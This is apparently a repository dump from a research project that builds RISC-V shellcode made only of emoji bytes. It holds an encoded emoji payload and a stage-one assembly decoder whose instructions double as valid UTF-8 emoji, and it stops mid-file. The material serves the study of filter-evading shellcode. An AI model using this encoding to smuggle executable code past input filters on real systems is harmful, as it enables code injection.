⭕⚡🖕✅♈🌐🥗😔🍪🤍➗⚽🖕✅♈⚽🏮🔣🥕🙌🐒♈🖕✅♈📮🔱🪪📜🤰⏰⏰🖕✅♈💭🚰😋🥅🐃♋⛲🖕✅♈🕝🔜🥛📉🫵⚽❕🖕✅♈❓🪢🧇💇🥠♌🔔🖕✅♈🎑☔🎀🔪🥬🖕⛄🖕✅♈😕👠🛅😱🍪⏰♊🖕✅♈🪙🫶🧑🌝🕒➗♌🖕✅♈🎅🤾⬛🚯🔻👐❔🖕✅♈🚈💡🧜🦀👧🏇✊➕✅♈🐎🪜🤭🦰🪀🀄♏➕✅♈🐜🧤💓🔞👱🐡❗➕✅♈🍌🧔🧊🧊🧑🌋➰➕✅♈🥖🩼🔐🉑💕🐯❔➕✅♈📼🐣🩼🚛🦙🍗♎➕✅♈👰💣🧱🎶🍉🔋⛅➕✅♈🎮💔🎅💝🫐🔘⛅➕✅♈🛼📓🍕🏩👳🌌➖➕❌♋♉➖✅♈🩴🎿🐫🤴🍜♈♍🖕✅♈🎌🕧🍦🚱🎶⌚➰🖕✅♈📔🍲➰🚩🫓🏅❔🖕✅♈🪫🪰🪠🌾🥟⏪✋🖕✅♈🔽🫕🐀🔙🎢♉♿🖕✅♈🍃🧻🍜🍏😲⛎⚓🖕✅♈🕝🕋🏽💚❎🤌♈🖕✅♈📶⏩🍁⭐🧬🗽🔃🖕✅♈🤹📩🌏📱📴♎⛄🖕✅♈🏦🔲🧽🦎🍾🦙♓➕✅♈🏈💛🎼🥜🦯🚷✨➕✅♈📰🪰🍃🍼💖📫✋➕✅♈🩻📪👏🥥👕📭✨➕✅♈🦥😯🛴👼🛞🥨⛲➕✅♈🐺🏊👜🥸🤸✅🔃➕✅♈🎮😥🕤📁🏂🚓❔➕✅♈🚸🕟⚓👠🆎🎂🧠➕❌♋♉➖✅♈🧗🏒➰💯🔑🏐✨🖕✅♈🖖🍧🎀🤰💛♓⏬🖕✅♈🔬🔘🔨😣🐥🐋♍➕✅♈🎲🐶🕺🎒🚵🏾⚡➕✅♈📶🦌♊🧫🏁🔉🌁➕✅♈🎵🏯🤒💊🕺🔧⚓➕✅♈🌔💫🍺💩👮💲♒➕✅♈📕🫁🦟🔻🦿🫥⌚➕✅♈🆙🛑🚳🔌🤪🚰❌➕✅♈⚫🍃🫕🏀💐🚦💓➕✅♈🪷🟡👊🔑🚽🚗❌➕✅♈💹♎🏯🪝🫃🦖🍡➕❌♋♉➖✅♈💊🛴🪡🚚🪹⌚⬜🖕✅♈🐝🧖🤐🌗🙌⛎⏬🖕✅♈🖕🏨⭐🐌📷🕥♉🖕✅♈💔🔗📛🚴🥹◾⏩🖕✅♈🈲🤝🦻🏻♎🧙⛎🖕✅♈👈🐣🧥🤠🎏⛄♓🖕✅♈🐽🦠🤴🪒🤴⭐⚽🖕✅♈📝♐🏦🥓🪀🪆✊🖕✅♈🚁🫐🦀🕟🚝☕⚫🖕✅♈🤢😭🦊👖💂✋❌🖕✅♈🤩💠🐔🧚👦✋♌🖕✅♈🚆📅🌮🐚❕🧄♿🖕✅♈🦱💹📮🥁🚧🐦❔➕✅♈🪢🗼💜🎏🦤👶⚪➕✅♈💁🌋💚🧪❔🍞🌏➕❌♋♉➖✅♈😗👭🌓🥁😔➗⭐🖕✅♈😊🍧😕😳🌰⬛⛎🖕✅♈🚲♒⏪🍨🕌🎐💍🖕✅♈🔳🛻🥂🚠😸⬛☔🖕✅♈🍸🫄👖🍇🏬♊❌🖕✅♈🦶💻💬😍🧿❗⚽🖕✅♈🥋♎🥃🦔📡🛒⛲🖕✅♈🛶🟥🦜👨🐊☔❔🖕✅♈🥔🙄🪢🚈🚾🟠⏫➕✅♈😼🔇📥🦼🌀🦉⚓➕❌♋♉➖✅♈🤺🥹👫🍸🐻➖❕🖕✅♈🏄🥁🎯🎲❗💻⛲🖕✅♈🚲🚧🏦🔦😸♐☕🖕✅♈🔪🪧🥖🚌🦫⏩⛅🖕✅♈👻🏾📔🦅🏿✅♎🖕✅♈🐆🐓🧯💽🍤🎇❕➕✅♈🧱🍷🐵📏🌿🥃☕➕✅♈🍚🏉🎌🏐🥒🐆⭕➕✅♈🥕🎈🪱🎧🏊🪨⌚➕✅♈⏳😠🚩🥭🌋🤐🧎➕✅♈🫤🐄🎋🪴🎮🥳♎➕✅♈👨🏰🐰🌋🍚👺⛄➕✅♈🥌🎀🏓🐽👞🧬♍➕✅♈🦂🪙🛸👬🫳🏊♉➕✅♈🌋🚐💋💤🌏🏾⭐➕✅♈🧁🌜🌕🦷🔪🍷♎➕✅♈💨👉🈴🧦🥴😷⚾➕✅♈🆖🏹🏆⚾🌓📤🥴➕✅♈🛵💴🎱😨🦁🤘♏➕❌♋♉➖✅♈🐠🤒📇🐜🙋✊♊🖕✅♈🏒🪠🚧🦼📁⛽⚫🖕✅♈🧏🈯🌉🌍🏺⭐♒🖕✅♈🍟🦴🪙😐🚅✋♎🖕✅♈💀🧶😷🫱🥑⛔♎🖕✅♈✅📬🍞🧺🪱📶❎🖕✅♈👽🚫🔞📮🪂❌⏪🖕✅♈🥯🧳🦑🎷🕕✊♒🖕✅♈🍓🤗🍍📺🤕♌➕🖕✅♈🏠🎄🛹🕛🕥🏣➰➕✅♈🪠🩰🚁🧑💁💥⏫➕✅♈🫗🥍👡🪱🕜🎊♓➕✅♈❌👹🤤🙉🪷🔩🏫➕✅♈🕌😆🔡🦷🧬🐱⛎➕✅♈👘🫘🛌🀄📙🎂☕➕✅♈🕥👟🥇🌀🫖📑♐➕✅♈🆚🎩🦎🖖🌯🌙♋➕✅♈🍡🍲🍑🕒🎆🙏❔➕✅♈🦴📤🤘⚽🛺🥼👇➕❌♋♉➖✅♈🐈🕔🧇♑🍧🤜🍪➕✅♈🧨🥙🦇🌎🏽💞➿➕❌♋♉➖✅♈🌒🎷🤣🍃🕡⭐♓🖕✅♈🏠🔜🔹👷💞⚾⭕🖕✅♈🌗😿🤭💋⌚🚭♒🖕✅♈🧱🥟🥪🦥👘⏳⚡🖕✅♈🈸📬🐓💓🈳♍➖🖕✅♈🦿🎿💳🧰😲♿⛺🖕✅♈🪛🌕🐷🍋🍇⚓⛲🖕✅♈🚝🧌📞🤩🟪⬛➗🖕✅♈🚣🥯🐍🚣🟫⬜◽🖕✅♈🍬📐📢💿😾◾🐠➕✅♈👸👣📡🧲🛗😃⭕➕✅♈🛺😼🏄🥓🦘⛪💛➕✅♈🍁😧🕟🦖🤛😒♓➕✅♈🔟🌮🧱🐇🦢📦⌛➕✅♈🪛🪐📤💧🍀🍏❎➕✅♈💍🥖💝🆖👂🔞⛵➕✅♈🤑♒📩🔟🆑🪑🔔➕✅♈🚬🤷🏦🦱🥎🦶⚡➕✅♈⚫🐮📵💈🛑🦈🚫➕✅♈😊💯🌲🏾🚆👎⛪➕✅♈🛑🪥⛅🥄🫂🪠🧗➕✅♈🌮🌏🧄🥔🙇🟫☕➕✅♈🤙📁🎋🍒🫧🌙♍➕✅♈💈🐮🐹🏬🦾🈳✊➕❌♋♉➖✅♈😧💒🎑🙆👐♎⌚🖕✅♈💉🚋👻🥤🌕◾⏳🖕✅♈🩼🍾🆑🤵🦉♐♋🖕✅♈🩳🪦🧠🪞🤏⚾⏳🖕✅♈🌇🏼🪛📬🖕♑♑🖕✅♈🍙🧲🗾🤞🍾♌♓🖕✅♈🎸😇💄🔵😪⏩➰🖕✅♈📐🌓🪪🛵🐵⏪♋🖕✅♈🌗🚓💓🚰🧼♿⛳🖕✅♈🏁🛂🪓🈴💄♒⚓🖕✅♈👪😢📡🪁✊🏆🧃➕✅♈🫒🌮💐🥯🔪🍯❓➕✅♈🥛🍓🪙🔵🌄👉⭐➕✅♈😛😬👱🦺🦝🧬♓➕✅♈🧴😷🪷🥄🍛🪳⬜➕✅♈🎂🙌🥈🎐🫅💆⏰➕✅♈♎💦🧧🧭🌋🤾🚥➕✅♈🐼🍔🤠📞🖖📻⭕➕❌♋♉➖✅♈🎂🚴🍢🤴💓⭕✊🖕✅♈📺🦈🦫🎃👉🍮♏➕✅♈🐽🥵🥳😚🐲🥗⛽➕✅♈🖖😴🈵🚃🎮🧡⬛➕✅♈👰🕌🆖🆑🍈👳⌛➕✅♈🍹🚃🈯🏾🥓💌♿➕✅♈📂🍝📫🐂🦪💊➰➕✅♈🥛🏢🟣💈🌃🕋♑➕✅♈👐🦼🫒🙉🤲🎢⛅➕✅♈🦬🚠🛵🐓🎠🦽➰➕✅♈🦄🌈🪗⏫🚚🔋😎➕✅♈🚼🟤🖖📷🥱🫥⚡➕✅♈😄🍉🐵😌🍰😉♎➕✅♈🔽🧯🚦🤨📶🫑➕➕❌♋♉➖✅♈🥴✅🧪🌋👌👸🏁➕✅♈📅🥐🤸🎨🌛🚤⛽➕✅♈🧣👫🦳📠💳🙉✊➕✅♈🕟📗🌁📷🪰🚘➖➕✅♈💒🕝🫅🍤🙂🤣❔➕✅♈😹🧅😽🐱🛐🌹⚪➕✅♈😭🍈🏀🐇🛸🍠⏪➕❌♋♉➖❌♋♉➖✅♈🪣➕😱🗿🎏📹🪶➕✅♈🍑🧼🖕📱🪑🧇⭐➕✅♈❕📿🌇🚿🚷🏆🔳➕❌♋♉➖✅♈👹🕛🔙🤔📩❎✊🖕✅♈👔🌄🛑🐆🌊☔⛪🖕✅♈📵☕🦜🩸🪖🍹♒🖕✅♈🥾🎩🍴🐦🎡♉⚽🖕✅♈🤬👹🍱🔈🌴➰♍🖕✅♈😲😛🐼🟣👸✊⏳🖕✅♈📒👌🎍🆔😆❌✅🖕✅♈♒📇💖🌷🦲🏃⭐🖕✅♈📛🙆🐄😇🪦⛲♍🖕✅♈🌂🥱❗📪💝🌷⬛🖕✅♈📄🙉🤨💿🐁♿➰🖕✅♈🛻🫵🟢🎮🏰🎃✊➕✅♈🙆👠🤗🐨🐱♏🤢➕✅♈🤫🏐🩰👠👧🙃♊➕✅♈🐪🦕🐔🦧😸🔜➕➕✅♈👿🥘🎋🍫🧨➿🧷➕✅♈🌃🍢📕😬👣🍫❗➕✅♈🏯🔫📙🌘🥺🧌⏬➕✅♈👟🏴🥝👛🦄👔☔➕✅♈📳🦊📒🔤👔🚙♉➕✅♈👑🔐😣🌽🤽🎺⚫➕✅♈📀😓🦛🫓💌🆖♏➕✅♈😭🏊😈🪄💌🐙⛔➕✅♈⚡🚙💾🀄👸🫒😋➕❌♋♉➖✅♈🚍🟩🔩🫙🥃♍♿🖕✅♈🎊🐡🥅😩🧎❌✅🖕✅♈🚠🤰💪🦈📣♐♌🖕✅♈🎅💂🍍🦪🚶⛎♊🖕✅♈⛳📊🦵🫁🥁🦦⚽🖕✅♈🈳📝✋😋🧁🔲❕🖕✅♈➕🕘📏🦩🔨🎄❗🖕✅♈🎻🔭🧹🔻⚽🍄☔🖕✅♈👋😓🤹🛬🍌✋⛄🖕✅♈🦱◾🔐🛝🔈😛◽🖕✅♈🎺🐩📆😰🤰♍⬜🖕✅♈🪩🍕🧽🚜👩☕♿🖕✅♈🧆💃🈁🩰😃♏✅🖕✅♈🌭🧓😚🪱🐯❎✊🖕✅♈🥺🤔🚦😪🐂⭕⭕🖕✅♈🎡🪆👉🎥📩😶➗➕✅♈🪒🤣💤📄🥡🕠♋➕✅♈🟡🚴🍕🚒➕🌰🚏➕✅♈🦁🦈💅🍄🌯🚼➿➕❌♋♉➖✅♈👙🟫🕡👶🫙⌚➗🖕✅♈🫥🕖😡🚟🏈♿➰🖕✅♈🆔🚗🪸🐾🤺◽⛵🖕✅♈📛🏄🔉😏🏃🐎❌➕✅♈🍠🐵🔝🦟🛃🐧⚓➕✅♈😬🐲👑🧯💂📁♌➕✅♈💟🐶💃🦝🦛🔎➗➕✅♈🧚😕🤎🪠🔑🥍⛲➕✅♈🐹🍣💱🦝😴🤕⏫➕✅♈🥾🛝📈🌴🆚🤐⚾➕❌♋♉➖✅♈😄🗾👆🫧🤪♓⭕🖕✅♈🎓💢🔢🤯🍣🖖♊➕✅♈😧📔👎👂🕍📭❌➕✅♈👤🐃💝🦐🏐👜♓➕✅♈♑🙃🥔🧧🫦🟪🪫➕✅♈💣👦😉🤥🏈◾🤴➕✅♈🙎🐢🥕🐬⏳🫄🎿➕✅♈🐵🐶🎐🎭🦷💁⏫➕✅♈🌐🏼🚗🔓🚝💋⚽➕❌♋♉➖✅♈🏨🚈😽👘😈😳➰➕✅♈🙆👥🔋📬🦯🪞⛪➕✅♈🦱🦾⚡🥼🔴🩻🔞➕❌♋♉➖✅♈💫🔆🏨🔏🧓⏩⏩🖕✅♈🪲🪸🕦😳🛐❕⛽🖕✅♈💐🔯⛵🚟⚪🕖🧽🖕✅♈📊💊🪒🐃🥐⛺➰🖕✅♈🥔🐭💬🦜🕙❕❔🖕✅♈📱🔩📁🙅💑♿⛲🖕✅♈🐥🔕💦🦤🎍⚫⬛🖕✅♈🖕🍢👅🫕📥⛅⛲🖕✅♈🫀🎉🎫🧕🦹♍✋🖕✅♈📳🕋👌😑🏾⏳⛪🖕✅♈🤶😭👶🌾🆗✊❓🖕✅♈🐤🥁💘😚🚁➕❓🖕✅♈🕒👍💹🦴🍙⛵➿🖕✅♈🐘🛟🥥🚺🏇⛄❕🖕✅♈🧘💳🎢💱🪴♑⛳🖕✅♈👊🌊🙆🍢🚺🌌❔➕✅♈🌅👔☔🪒🐻💊🦐➕✅♈🚘😶🤵🧇🙆💨❗➕✅♈🫣🦰🧎🪳🤨🥗♒➕✅♈🔡🫁🎋🧝🌅🪚⏫➕✅♈👴🚛🏀🎷🚊🪫⬜➕✅♈🤽🎸👥🏇🎍🚧⌚➕✅♈🦑🚒🆚🪬🌈🔢⌛➕✅♈💫🐓💫🏩🎹🦖⚡➕✅♈🐘🔹💑🧨🥑⛺🪐➕❌♋♉➖✅♈🔭😆🛕🫵🧘⏬⚾🖕✅♈🎆🫐🔎🦳🧍◽♉🖕✅♈😋📮⛲🌎🍫🏼➰🖕✅♈🎣📟🧓🏄💦♿⛵🖕✅♈👄🔪🕐😾🌗⭕◽🖕✅♈🐋🪟📷📧🦖♒⏩🖕✅♈🍇🟩⭐🦈😨🚺◽🖕✅♈🤌💁🆘🌭👽⛲⏩🖕✅♈🏑🔼😿🍩🦤➕⚓🖕✅♈🌸🧫🥰🧦🥴♎♌🖕✅♈🎓🏢🦕🥇🏅⌛⛽🖕✅♈🎉🔵🐇📣👫❓❓🖕✅♈🐡🦥🦘🧸🤡⏫➖🖕✅♈🐫❔📆🚻😧🏽♐🖕✅♈🎧🧙🦬👜📀⌛⭕🖕✅♈🦬😉🎁🎍🍳🤼⛅➕✅♈👩🦚💶👽🏄🍧➿➕✅♈😞🔢🛄😚🫖🤌➕➕✅♈⬜🔳🦩📦💿🫙👾➕✅♈📙🔠😨🚮🪴🐬⏪➕✅♈🈹🫀🪷🛷🔘🟡⚪➕✅♈😷🔝🎿🥿📰🛂✊➕✅♈🚡🔀💙🪝😂🟦♍➕❌♋♉➖✅♈🐉🍆🧱🕋🩲⭐♎🖕✅♈💖🐖🎐🖖⛺🚹➰🖕✅♈🥧🪹🌎🐕🔶⛺⛪🖕✅♈⛳🏒🐈🧜🕤🫀⚪🖕✅♈🪓🧉🏩🍇🥵♌⏳🖕✅♈💗🦴🌰🐔🫖⏪⚡🖕✅♈🚖🤺🈁🚺⚪🔔♒🖕✅♈🚛💵📼🐀♍🚦♒🖕✅♈👒📨📳🍵⚫💺⚫🖕✅♈🍋🚚🕧🩹♋🚰❕🖕✅♈💤🚕🔃📒🪠⚽⏰🖕✅♈🏣🗽🤼🪺🩹🪳➕➕✅♈🥈🧖🥫🦅🦈🦽➕➕✅♈🗿🧨📑🚉🎡🍭⬛➕✅♈🎊🐒💢🕟🍇🤗➿➕✅♈🆕🚲🎐📬👣🌋❗➕✅♈🎳🤼📷🍦🛟🤼➰➕✅♈🙋👧🥑🧽🚌😀⏬➕✅♈🖕🦝🪁🧅🕒🧅♎➕✅♈🎺🗾🍗🦺📜🛸⌛➕✅♈🚘🔎⚫🚫📍🪚😜➕✅♈🏬👆📃🗿🍇💦☕➕✅♈🔷🥊🐄🈴🌓🏢✅➕✅♈💎🎡😖😺😯🎍⛵➕❌♋♉➖✅♈🍰👢🎢🏴🧵⚫♒🖕✅♈🐛💤🦊🐭🥘❗⏩🖕✅♈😵🛄🎸🌐📷◾⚡🖕✅♈🌼🦌🥱🫂🚏♋⭕🖕✅♈🚓😒🛶🐫🏡♈⚫🖕✅♈💓🪶🫐🆎🧬⛎⏩🖕✅♈🕝👌🤔🦉🚥➖❕🖕✅♈🥗🥖💸💪📨☔⚾🖕✅♈🐦😱➗😕🫑💨◾🖕✅♈🍸🏢🏴🎻🍨✋❔🖕✅♈🈳🧿💚👺🎅⛅♊🖕✅♈🥙🚼🔠⚫🐑🎉☔🖕✅♈🥀👦🥠🌍♑🈺♑🖕✅♈🐙🍀🎊🎿🦨🛃⌚➕✅♈🪲🛼💿🥔😈🎐♐➕✅♈🤕🦺👟🍺😹🦏◽➕✅♈🍷🛷🤲🎓🔂🤌♌➕✅♈🕝💜🐞🪸🔑🛂♊➕✅♈🥶👡🆎🤐😺😉◾➕✅♈🔇🈁🛝🛕💋🐒⛽➕✅♈😶🧺📷🔦📌🐝⌛➕✅♈📩🦚🧌🦸🤑🏻⚪➕✅♈💤👓🎪🌻🏉🥪♐➕✅♈🙎🤺😦👔🪑🆒⛅➕✅♈😊🔵🧸🏉🆚🚧♒➕✅♈🫢📀🦱🩻🍦💌⚫➕✅♈🟣🎈🏇🕔🥶🐤♈➕✅♈🛃🔆🛃🚑👥🍐⛽➕❌♋♉➖⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️⚗️ -------------------------------------------------------------------------------- /qemu_short/stage1.S: -------------------------------------------------------------------------------- 1 | /*# 2 | *# (c) 2018-2023 Hadrien Barral 3 | *# SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | include(`helpers/common.m4')#' 7 | 8 | .macro jumper_with_zero_a3 before_land_size:req 9 | # e29c85 ✅ c2a9efb88f ©️ CLOG(0x1a) 10 | ins2 0xe29c ### add s9,s9,s8 11 | ins2 0x85c2 #⏩ beqz a3,+0x20 12 | ins2 0xa9ef ### 13 | ins2 0xb88f 14 | clog (0x1a - \before_land_size) 15 | .endm 16 | 17 | .macro jumper_with_nonzero_a3_preserve_ra before_land_size:req 18 | # e29c85 ✅ e29988 ♈ CLOG(0x1c) 19 | ins2 0xe29c ### add s9,s9,s8 20 | ins2 0x85e2 #⏩ bnez a3,+0x20 21 | ins2 0x9988 ### 22 | clog (0x1c - \before_land_size) 23 | .endm 24 | 25 | .macro jumper_with_nonzero_a5 before_land_size:req 26 | # e29c89efb88f ✉️ CLOG(0x1c) 27 | ins2 0xe29c ### add s9,s9,s8 28 | ins2 0x89ef #⏩ bnez a5,+0x1a 29 | ins2 0xb88f ### 30 | clog (0x16 - \before_land_size) 31 | .endm 32 | 33 | .macro jumper_with_nonzero_a3 before_land_size:req 34 | .ifeq \before_land_size-2 35 | # e29993 ♓ f09faa99 🪙 e2ad90 ⭐ CLOG(0x2) 36 | ins2 0xe299 ### add s3,s3,s8 37 | ins4 0x93f09faa ### andi ra,t6,-1367 38 | ins2 0x99e2 #⏩ bnez a3,+0x6 39 | ins2 0xad90 ### 40 | # clog 2-2==0 41 | .else 42 | jumper_with_nonzero_a3_preserve_ra \before_land_size 43 | .endif 44 | .endm 45 | 46 | .global _start 47 | _start: 48 | 49 | non0a5: 50 | jumper_with_zero_a3 2 51 | ins2 0xf09f ### 52 | ins4 0x9387e286 #⏩ addi a5,t0,-1938 53 | ins4 0x97efb88f ### auipc t6,0x8fb8e 54 | 55 | non0a3: 56 | ins2 0xe299 ### add s3,s3,s8 57 | ins2 0x89e2 ### bnez a3,+0x2 58 | ins2 0x9d8e #⏩ sub a3,a3,a5 59 | 60 | t0to0: 61 | # First, set t0 to zero 62 | jumper_with_nonzero_a3 2 63 | ins2 0xf09f ### 64 | ins4 0x93a2e286 #⏩ slti t0,t0,-1938 65 | ins4 0x97efb88f ### auipc t6,0x8fb8e 66 | 67 | jumper_with_nonzero_a3 2 68 | ins2 0xf09f ### 69 | ins4 0x93a2e286 #⏩ slti t0,t0,-1938 70 | ins4 0x97efb88f ### auipc t6,0x8fb8e 71 | 72 | s1to189: # For stage2 decode 73 | # First, set a1 to 1 74 | jumper_with_nonzero_a3 2 75 | ins2 0xf09f ### 76 | ins4 0x93b5e286 #⏩ sltiu a1,t0,-1938 77 | ins4 0x97efb88f ### auipc t6,0x8fb8e 78 | 79 | jumper_with_nonzero_a3 2 80 | ins2 0xf09f ### 81 | ins4 0x9384e29b #⏩ addi s1,t0,-1602 82 | ins4 0x93efb88f ### ori t6,a7,-1797 83 | 84 | jumper_with_nonzero_a3 2 85 | ins2 0xf09f ### 86 | ins2 0x8d8c #⏩ sub s1,s1,a1 87 | 88 | setuppcfixup: 89 | .macro t0addiforfixupA 90 | jumper_with_nonzero_a3 2 91 | ins2 0xf09f ### before land 92 | ins4 0x9382e286 #⏩ addi t0,t0,-1938 93 | ins4 0x97efb88f ### auipc t6,0x8fb8e 94 | .endm 95 | 96 | .macro t0addiforfixupB 97 | jumper_with_nonzero_a3 2 98 | ins2 0xf09f ### before land 99 | ins4 0x9382e29a #⏩ addi t0,t0,-1618 100 | ins4 0x97efb88f ### auipc t6,0x8fb8e 101 | .endm 102 | 103 | # Then, set t0 fixup # 🥕 104 | repeat(1, {t0addiforfixupA}) 105 | repeat(3, {t0addiforfixupB}) 106 | 107 | # Then, move fixup to a1 108 | jumper_with_nonzero_a3 2 109 | ins2 0xf09f ### 110 | ins4 0x9385e29e #⏩ addi a1,t0,-1554 111 | ins4 0x97e28c9a ### auipc t0,0x9a8ce 112 | 113 | jumper_with_nonzero_a3 2 114 | ins2 0xf09f ### 115 | ins2 0x8d85 #⏩ srai 